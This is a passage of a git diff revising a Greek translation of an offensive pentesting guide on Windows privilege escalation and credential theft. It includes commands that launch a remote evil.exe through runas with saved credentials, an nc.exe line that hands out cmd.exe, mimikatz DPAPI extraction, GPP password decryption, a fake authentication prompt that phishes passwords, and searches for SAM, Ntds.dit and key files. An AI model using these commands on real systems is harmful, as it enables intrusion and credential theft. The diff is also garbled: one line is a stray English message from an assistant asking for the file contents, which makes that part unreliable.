Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### Κανόνες Τείχους +### Κανόνες Firewall -[**Ελέγξτε αυτή τη σελίδα για εντολές σχετικές με το Τείχος**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)** +[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(λίστα κανόνων, δημιουργία κανόνων, απενεργοποίηση, απενεργοποίηση...)** -Περισσότερες[ εντολές για αναγνώριση δικτύου εδώ](../basic-cmd-for-pentesters.md#network) +Περισσότερα[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -Το δυαδικό `bash.exe` μπορεί επίσης να βρεθεί στο `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` +Το εκτελέσιμο `bash.exe` μπορεί επίσης να βρεθεί στο `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` -Αν αποκτήσεις δικαιώματα root, μπορείς να ακούσεις σε οποιαδήποτε θύρα (την πρώτη φορά που θα χρησιμοποιήσεις το `nc.exe` για να ακούσεις σε μια θύρα, θα ρωτήσει μέσω GUI αν πρέπει να επιτραπεί το `nc` από το τείχος προστασίας). +Εάν αποκτήσετε root user μπορείτε να ακούσετε σε οποιαδήποτε θύρα (την πρώτη φορά που θα χρησιμοποιήσετε `nc.exe` για να ακούσετε σε μια θύρα, θα ρωτήσει μέσω GUI αν το `nc` πρέπει να επιτραπεί από το firewall). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -Για να ξεκινήσετε εύκολα το bash ως root, μπορείτε να δοκιμάσετε `--default-user root` +Για να ξεκινήσετε εύκολα bash ως root, μπορείτε να δοκιμάσετε `--default-user root` -Μπορείτε να εξερευνήσετε το σύστημα αρχείων `WSL` στον φάκελο `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` +Μπορείτε να εξερευνήσετε το σύστημα αρχείων του `WSL` στον φάκελο `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Windows Credentials @@ -718,16 +731,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### Credentials manager / Windows vault +### Διαχείριση διαπιστευτηρίων / Windows Vault -Από [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Το Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα που **Windows** μπορεί να **συνδέσει τους χρήστες αυτόματα**. Στην πρώτη περίπτωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύσουν τα διαπιστευτήρια τους για το Facebook, τα διαπιστευτήρια του Twitter, τα διαπιστευτήρια του Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των προγραμμάτων περιήγησης. Αλλά δεν είναι έτσι. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Το Windows Vault αποθηκεύει τα διαπιστευτήρια χρηστών για διακομιστές, ιστοσελίδες και άλλα προγράμματα που το **Windows** μπορεί να **συνδέει τους χρήστες αυτόματα**. Στην πρώτη ανάγνωση, αυτό μπορεί να φαίνεται ότι οι χρήστες μπορούν να αποθηκεύουν τα διαπιστευτήριά τους για το Facebook, το Twitter, το Gmail κ.λπ., ώστε να συνδέονται αυτόματα μέσω των περιηγητών. Όμως, δεν είναι έτσι. -Το Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να συνδέσει τους χρήστες αυτόματα, που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για να αποκτήσει πρόσβαση σε μια πηγή** (διακομιστής ή ιστοσελίδα) **μπορεί να χρησιμοποιήσει αυτόν τον Credential Manager** & Windows Vault και να χρησιμοποιήσει τα διαπιστευτήρια που παρέχονται αντί να εισάγουν οι χρήστες το όνομα χρήστη και τον κωδικό πρόσβασης συνεχώς. +Το Windows Vault αποθηκεύει διαπιστευτήρια που το Windows μπορεί να χρησιμοποιήσει για να συνδέει τους χρήστες αυτόματα, πράγμα που σημαίνει ότι οποιαδήποτε **εφαρμογή Windows που χρειάζεται διαπιστευτήρια για πρόσβαση σε έναν πόρο** (διακομιστή ή ιστοσελίδα) **μπορεί να κάνει χρήση αυτού του Credential Manager** και του Windows Vault και να χρησιμοποιήσει τα παρεχόμενα διαπιστευτήρια αντί να εισάγει ο χρήστης συνέχεια το όνομα χρήστη και τον κωδικό. -Εκτός αν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι είναι δυνατόν να χρησιμοποιήσουν τα διαπιστευτήρια για μια δεδομένη πηγή. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει κάπως **να επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για αυτήν την πηγή** από το προεπιλεγμένο αποθηκευτικό vault. +Εκτός εάν οι εφαρμογές αλληλεπιδρούν με τον Credential Manager, δεν νομίζω ότι μπορούν να χρησιμοποιήσουν τα διαπιστευτήρια για έναν συγκεκριμένο πόρο. Έτσι, αν η εφαρμογή σας θέλει να χρησιμοποιήσει το vault, θα πρέπει κάπως να **επικοινωνήσει με τον credential manager και να ζητήσει τα διαπιστευτήρια για εκείνον τον πόρο** από το προεπιλεγμένο storage vault. -Χρησιμοποιήστε το `cmdkey` για να καταγράψετε τα αποθηκευμένα διαπιστευτήρια στη μηχανή. +Χρησιμοποιήστε το `cmdkey` για να εμφανίσετε τη λίστα των αποθηκευμένων διαπιστευτηρίων στον υπολογιστή. ```bash cmdkey /list Currently stored credentials: @@ -735,38 +748,39 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -Μπορείτε να χρησιμοποιήσετε το `runas` με τις επιλογές `/savecred` προκειμένου να χρησιμοποιήσετε τα αποθηκευμένα διαπιστευτήρια. Το παρακάτω παράδειγμα καλεί ένα απομακρυσμένο δυαδικό μέσω ενός SMB share. +Στη συνέχεια μπορείτε να χρησιμοποιήσετε το `runas` με την επιλογή `/savecred` για να χρησιμοποιήσετε τα αποθηκευμένα credentials. Το παρακάτω παράδειγμα καλεί ένα remote binary μέσω ενός SMB share. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -Χρησιμοποιώντας το `runas` με ένα παρεχόμενο σύνολο διαπιστευτηρίων. +Χρήση του `runas` με ένα παρεχόμενο σύνολο διαπιστευτηρίων. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Σημειώστε ότι το mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ή από το [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). +Σημειώστε ότι το mimikatz, το lazagne, το [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), το [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), ή το [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -Η **API Προστασίας Δεδομένων (DPAPI)** παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, κυρίως χρησιμοποιούμενη μέσα στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση εκμεταλλεύεται ένα μυστικό χρήστη ή συστήματος για να συμβάλλει σημαντικά στην εντροπία. +Η **Data Protection API (DPAPI)** παρέχει μια μέθοδο για συμμετρική κρυπτογράφηση δεδομένων, που χρησιμοποιείται κυρίως στο λειτουργικό σύστημα Windows για τη συμμετρική κρυπτογράφηση ασύμμετρων ιδιωτικών κλειδιών. Αυτή η κρυπτογράφηση αξιοποιεί ένα μυστικό χρήστη ή συστήματος ώστε να συμβάλλει σημαντικά στην εντροπία. -**Η DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προέρχεται από τα μυστικά σύνδεσης του χρήστη**. Σε σενάρια που περιλαμβάνουν κρυπτογράφηση συστήματος, χρησιμοποιεί τα μυστικά αυθεντικοποίησης του τομέα του συστήματος. +**Το DPAPI επιτρέπει την κρυπτογράφηση κλειδιών μέσω ενός συμμετρικού κλειδιού που προέρχεται από τα μυστικά σύνδεσης του χρήστη**. Σε σενάρια που αφορούν συστημική κρυπτογράφηση, χρησιμοποιεί τα μυστικά αυθεντικοποίησης domain του συστήματος. -Τα κρυπτογραφημένα κλειδιά RSA του χρήστη, χρησιμοποιώντας την DPAPI, αποθηκεύονται στον φάκελο `%APPDATA%\Microsoft\Protect\{SID}`, όπου το `{SID}` αντιπροσωπεύει τον [Αναγνωριστικό Ασφαλείας](https://en.wikipedia.org/wiki/Security_Identifier) του χρήστη. **Το κλειδί DPAPI, που βρίσκεται μαζί με το κύριο κλειδί που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στο ίδιο αρχείο**, συνήθως αποτελείται από 64 byte τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον φάκελο είναι περιορισμένη, αποτρέποντας την καταγραφή του περιεχομένου του μέσω της εντολής `dir` στο CMD, αν και μπορεί να καταγραφεί μέσω του PowerShell). +Τα κρυπτογραφημένα RSA κλειδιά χρήστη, χρησιμοποιώντας το DPAPI, αποθηκεύονται στον κατάλογο %APPDATA%\Microsoft\Protect\{SID}, όπου το {SID} αντιπροσωπεύει το [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) του χρήστη. **Το DPAPI key, που βρίσκεται μαζί με το master key που προστατεύει τα ιδιωτικά κλειδιά του χρήστη στο ίδιο αρχείο**, συνήθως αποτελείται από 64 bytes τυχαίων δεδομένων. (Είναι σημαντικό να σημειωθεί ότι η πρόσβαση σε αυτόν τον κατάλογο είναι περιορισμένη, αποτρέποντας την εμφάνιση του περιεχομένου του μέσω της εντολής `dir` στο CMD, αν και μπορεί να εμφανιστεί μέσω PowerShell). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::masterkey` με τα κατάλληλα επιχειρήματα (`/pvk` ή `/rpc`) για να το αποκρυπτογραφήσετε. +Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::masterkey` με τις κατάλληλες παραμέτρους (`/pvk` ή `/rpc`) για να το αποκρυπτογραφήσετε. -Τα **αρχεία διαπιστευτηρίων που προστατεύονται από τον κύριο κωδικό πρόσβασης** βρίσκονται συνήθως σε: +Τα **credentials files protected by the master password** βρίσκονται συνήθως σε: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -Μπορείτε να χρησιμοποιήσετε το **mimikatz module** `dpapi::cred` με το κατάλληλο `/masterkey` για να αποκρυπτογραφήσετε.\ -Μπορείτε να **εξάγετε πολλές DPAPI** **masterkeys** από τη **μνήμη** με το `sekurlsa::dpapi` module (αν είστε root). +Μπορείτε να χρησιμοποιήσετε **mimikatz module** `dpapi::cred` με το κατάλληλο `/masterkey` για να το αποκρυπτογραφήσετε.\ +Μπορείτε να **extract many DPAPI** **masterkeys** από τη **memory** με το `sekurlsa::dpapi` module (εφόσον είστε root). + {{#ref}} dpapi-extracting-passwords.md @@ -774,9 +788,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -Οι **PowerShell credentials** χρησιμοποιούνται συχνά για **σενάρια** και αυτοματοποιημένες εργασίες ως τρόπος αποθήκευσης κρυπτογραφημένων διαπιστευτηρίων με ευκολία. Τα διαπιστευτήρια προστατεύονται χρησιμοποιώντας **DPAPI**, που σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή στον οποίο δημιουργήθηκαν. +**PowerShell credentials** χρησιμοποιούνται συχνά για **scripting** και εργασίες αυτοματοποίησης ως τρόπος αποθήκευσης κρυπτογραφημένων credentials με βολικό τρόπο. Τα credentials προστατεύονται χρησιμοποιώντας **DPAPI**, που συνήθως σημαίνει ότι μπορούν να αποκρυπτογραφηθούν μόνο από τον ίδιο χρήστη στον ίδιο υπολογιστή όπου δημιουργήθηκαν. -Για να **αποκρυπτογραφήσετε** ένα PS credentials από το αρχείο που το περιέχει μπορείτε να κάνετε: +Για να **decrypt** ένα PS credentials από το αρχείο που το περιέχει, μπορείτε να κάνετε: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -787,7 +801,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### Ασύρματο δίκτυο ```bash #List saved Wifi using netsh wlan show profile @@ -806,22 +820,22 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` -### **Διαχειριστής Διαπιστευτηρίων Απομακρυσμένης Επιφάνειας Εργασίας** +### **Remote Desktop Credential Manager** ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` Χρησιμοποιήστε το **Mimikatz** `dpapi::rdg` module με το κατάλληλο `/masterkey` για να **αποκρυπτογραφήσετε οποιαδήποτε .rdg αρχεία**\ -Μπορείτε να **εξάγετε πολλές DPAPI masterkeys** από τη μνήμη με το Mimikatz `sekurlsa::dpapi` module +Μπορείτε να **εξάγετε πολλούς DPAPI masterkeys** από τη μνήμη με το Mimikatz `sekurlsa::dpapi` module ### Sticky Notes -Οι άνθρωποι συχνά χρησιμοποιούν την εφαρμογή StickyNotes σε υπολογιστές Windows για να **αποθηκεύσουν κωδικούς πρόσβασης** και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι είναι ένα αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στο `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` και αξίζει πάντα να το αναζητήσετε και να το εξετάσετε. +Συχνά οι χρήστες χρησιμοποιούν την εφαρμογή StickyNotes σε σταθμούς εργασίας Windows για να **αποθηκεύουν κωδικούς πρόσβασης** και άλλες πληροφορίες, χωρίς να συνειδητοποιούν ότι πρόκειται για αρχείο βάσης δεδομένων. Αυτό το αρχείο βρίσκεται στο `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` και αξίζει πάντα να το αναζητήσετε και να το εξετάσετε. ### AppCmd.exe -**Σημειώστε ότι για να ανακτήσετε κωδικούς πρόσβασης από το AppCmd.exe πρέπει να είστε Διαχειριστής και να εκτελείτε υπό υψηλό επίπεδο ακεραιότητας.**\ +**Σημείωση ότι για να ανακτήσετε κωδικούς από το AppCmd.exe πρέπει να είστε Administrator και να τρέχετε σε επίπεδο High Integrity.**\ **AppCmd.exe** βρίσκεται στον κατάλογο `%systemroot%\system32\inetsrv\`.\ -Εάν αυτό το αρχείο υπάρχει, τότε είναι πιθανό ότι έχουν ρυθμιστεί κάποια **credentials** και μπορούν να **ανακτηθούν**. +Εάν αυτό το αρχείο υπάρχει, τότε είναι πιθανό ότι ορισμένα **διαπιστευτήρια** έχουν ρυθμιστεί και μπορούν να **ανακτηθούν**. Αυτός ο κώδικας εξήχθη από [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -903,40 +917,40 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -Ελέγξτε αν υπάρχει το `C:\Windows\CCM\SCClient.exe` .\ -Οι εγκαταστάτες **τρέχουν με δικαιώματα SYSTEM**, πολλοί είναι ευάλωτοι σε **DLL Sideloading (Πληροφορίες από** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +Ελέγξτε αν το `C:\Windows\CCM\SCClient.exe` υπάρχει .\ +Οι installers εκτελούνται με **SYSTEM privileges**, πολλοί είναι ευάλωτοι σε **DLL Sideloading (Πληροφορίες από** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## Αρχεία και Μητρώο (Διαπιστευτήρια) +## Αρχεία και Μητρώο (Credentials) -### Διαπιστευτήρια Putty +### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Κλειδιά Φιλοξενίας SSH Putty +### Putty SSH Κλειδιά κεντρικού υπολογιστή ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys in registry +### SSH κλειδιά στο μητρώο Τα ιδιωτικά κλειδιά SSH μπορούν να αποθηκευτούν μέσα στο κλειδί μητρώου `HKCU\Software\OpenSSH\Agent\Keys`, οπότε θα πρέπει να ελέγξετε αν υπάρχει κάτι ενδιαφέρον εκεί: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -Αν βρείτε οποιαδήποτε καταχώρηση μέσα σε αυτήν την διαδρομή, πιθανότατα θα είναι ένα αποθηκευμένο κλειδί SSH. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί να αποκρυπτογραφηθεί εύκολα χρησιμοποιώντας [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ -Περισσότερες πληροφορίες σχετικά με αυτήν την τεχνική εδώ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +Αν βρείτε οποιαδήποτε εγγραφή μέσα σε εκείνη την διαδρομή, πιθανότατα θα είναι ένα αποθηκευμένο SSH key. Αποθηκεύεται κρυπτογραφημένο αλλά μπορεί να αποκρυπτογραφηθεί εύκολα χρησιμοποιώντας [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\ +Περισσότερες πληροφορίες για αυτήν την τεχνική εδώ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -Αν η υπηρεσία `ssh-agent` δεν εκτελείται και θέλετε να ξεκινά αυτόματα κατά την εκκίνηση, εκτελέστε: +Αν η υπηρεσία `ssh-agent` δεν τρέχει και θέλετε να ξεκινά αυτόματα κατά την εκκίνηση, τρέξτε: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> Φαίνεται ότι αυτή η τεχνική δεν είναι πλέον έγκυρη. Προσπάθησα να δημιουργήσω κάποια ssh κλειδιά, να τα προσθέσω με το `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Η καταχώρηση HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης αυθεντικοποίησης κλειδιού. +> Φαίνεται ότι αυτή η τεχνική δεν ισχύει πλέον. Προσπάθησα να δημιουργήσω κάποια ssh keys, να τα προσθέσω με `ssh-add` και να συνδεθώ μέσω ssh σε μια μηχανή. Το μητρώο HKCU\Software\OpenSSH\Agent\Keys δεν υπάρχει και το procmon δεν εντόπισε τη χρήση του `dpapi.dll` κατά τη διάρκεια της ασύμμετρης πιστοποίησης με κλειδί. -### Unattended files +### Αρχεία χωρίς επίβλεψη ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -952,6 +966,8 @@ C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` Μπορείτε επίσης να αναζητήσετε αυτά τα αρχεία χρησιμοποιώντας **metasploit**: _post/windows/gather/enum_unattend_ + +Παράδειγμα περιεχομένου: ```xml @@ -980,7 +996,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system ``` -### Πιστοποιήσεις Cloud +### Διαπιστευτήρια Cloud ```bash #From user home .aws\credentials @@ -992,15 +1008,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Αναζητήστε ένα αρχείο που ονομάζεται **SiteList.xml** +Αναζητήστε ένα αρχείο με όνομα **SiteList.xml** -### Cached GPP Pasword +### Αποθηκευμένος κωδικός GPP -Μια δυνατότητα που ήταν προηγουμένως διαθέσιμη επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε μια ομάδα μηχανημάτων μέσω των Προτιμήσεων Πολιτικής Ομάδας (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά κενά ασφαλείας. Πρώτον, τα Αντικείμενα Πολιτικής Ομάδας (GPOs), που αποθηκεύονται ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη του τομέα. Δεύτερον, οι κωδικοί πρόσβασης μέσα σε αυτά τα GPPs, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό συνιστούσε σοβαρό κίνδυνο, καθώς θα μπορούσε να επιτρέψει στους χρήστες να αποκτήσουν ανυψωμένα δικαιώματα. +Προηγουμένως υπήρχε μια δυνατότητα που επέτρεπε την ανάπτυξη προσαρμοσμένων τοπικών λογαριασμών διαχειριστή σε ένα σύνολο μηχανημάτων μέσω Group Policy Preferences (GPP). Ωστόσο, αυτή η μέθοδος είχε σημαντικά προβλήματα ασφάλειας. Καταρχάς, τα Group Policy Objects (GPOs), αποθηκευμένα ως αρχεία XML στο SYSVOL, μπορούσαν να προσπελαστούν από οποιονδήποτε χρήστη του domain. Δεύτερον, οι κωδικοί μέσα σε αυτά τα GPP, κρυπτογραφημένοι με AES256 χρησιμοποιώντας ένα δημόσια τεκμηριωμένο προεπιλεγμένο κλειδί, μπορούσαν να αποκρυπτογραφηθούν από οποιονδήποτε πιστοποιημένο χρήστη. Αυτό αποτελούσε σοβαρό κίνδυνο, καθώς μπορούσε να επιτρέψει σε χρήστες να αποκτήσουν αυξημένα προνόμια. -Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια λειτουργία για να σαρώσει τα τοπικά αποθηκευμένα αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί ένα τέτοιο αρχείο, η λειτουργία αποκρυπτογραφεί τον κωδικό πρόσβασης και επιστρέφει ένα προσαρμοσμένο αντικείμενο PowerShell. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στην αναγνώριση και αποκατάσταση αυτής της ευπάθειας ασφαλείας. +Για να μετριαστεί αυτός ο κίνδυνος, αναπτύχθηκε μια συνάρτηση που σαρώνει για τοπικά cached αρχεία GPP που περιέχουν ένα πεδίο "cpassword" που δεν είναι κενό. Όταν βρεθεί τέτοιο αρχείο, η συνάρτηση αποκρυπτογραφεί τον κωδικό και επιστρέφει ένα custom PowerShell object. Αυτό το αντικείμενο περιλαμβάνει λεπτομέρειες σχετικά με το GPP και την τοποθεσία του αρχείου, βοηθώντας στον εντοπισμό και την αποκατάσταση αυτής της ευπάθειας ασφαλείας. -Αναζητήστε σε `C:\ProgramData\Microsoft\Group Policy\history` ή σε _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (προτού το W Vista)_ για αυτά τα αρχεία: +Αναζητήστε στο `C:\ProgramData\Microsoft\Group Policy\history` ή στο _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ για αυτά τα αρχεία: - Groups.xml - Services.xml @@ -1014,7 +1030,7 @@ AppData\Roaming\gcloud\access_tokens.db #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -Χρησιμοποιώντας το crackmapexec για να αποκτήσετε τους κωδικούς πρόσβασης: +Χρησιμοποιώντας crackmapexec για να αποκτήσετε τους κωδικούς πρόσβασης: ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` @@ -1032,7 +1048,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -Παράδειγμα του web.config με διαπιστευτήρια: +Παράδειγμα του web.config με credentials: ```xml @@ -1042,7 +1058,7 @@ Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction ``` -### Πιστοποιητικά OpenVPN +### OpenVPN διαπιστευτήρια ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1062,7 +1078,7 @@ $entropy, Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes)) } ``` -### Καταγραφές +### Αρχεία καταγραφής ```bash # IIS C:\inetpub\logs\LogFiles\* @@ -1072,7 +1088,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### Ζητήστε διαπιστευτήρια -Μπορείτε πάντα να **ζητήσετε από τον χρήστη να εισάγει τα διαπιστευτήριά του ή ακόμη και τα διαπιστευτήρια ενός διαφορετικού χρήστη** αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι το **να ζητάτε** απευθείας από τον πελάτη τα **διαπιστευτήρια** είναι πραγματικά **επικίνδυνο**): +Μπορείτε πάντα να **ζητήσετε από τον χρήστη να εισάγει τα διαπιστευτήριά του ή ακόμα και τα διαπιστευτήρια κάποιου άλλου χρήστη** αν νομίζετε ότι μπορεί να τα γνωρίζει (σημειώστε ότι το **να ζητήσετε** απευθείας από τον πελάτη τα **διαπιστευτήρια** είναι πραγματικά **επικίνδυνο**): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1080,9 +1096,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **Πιθανά ονόματα αρχείων που περιέχουν διαπιστευτήρια** +### **Πιθανά ονόματα αρχείων που περιέχουν credentials** -Γνωστά αρχεία που κάποια στιγμή περιείχαν **κωδικούς πρόσβασης** σε **καθαρό κείμενο** ή **Base64** +Γνωστά αρχεία που κάποτε περιείχαν **passwords** σε **clear-text** ή **Base64** ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1146,7 +1162,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -Αναζητήστε όλα τα προτεινόμενα αρχεία: +I don't have the contents of src/windows-hardening/windows-local-privilege-escalation/README.md. Please paste the file content (or the files you want translated). I will translate the English text to Greek and preserve all markdown, tags, links, refs, paths and code exactly as requested. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == 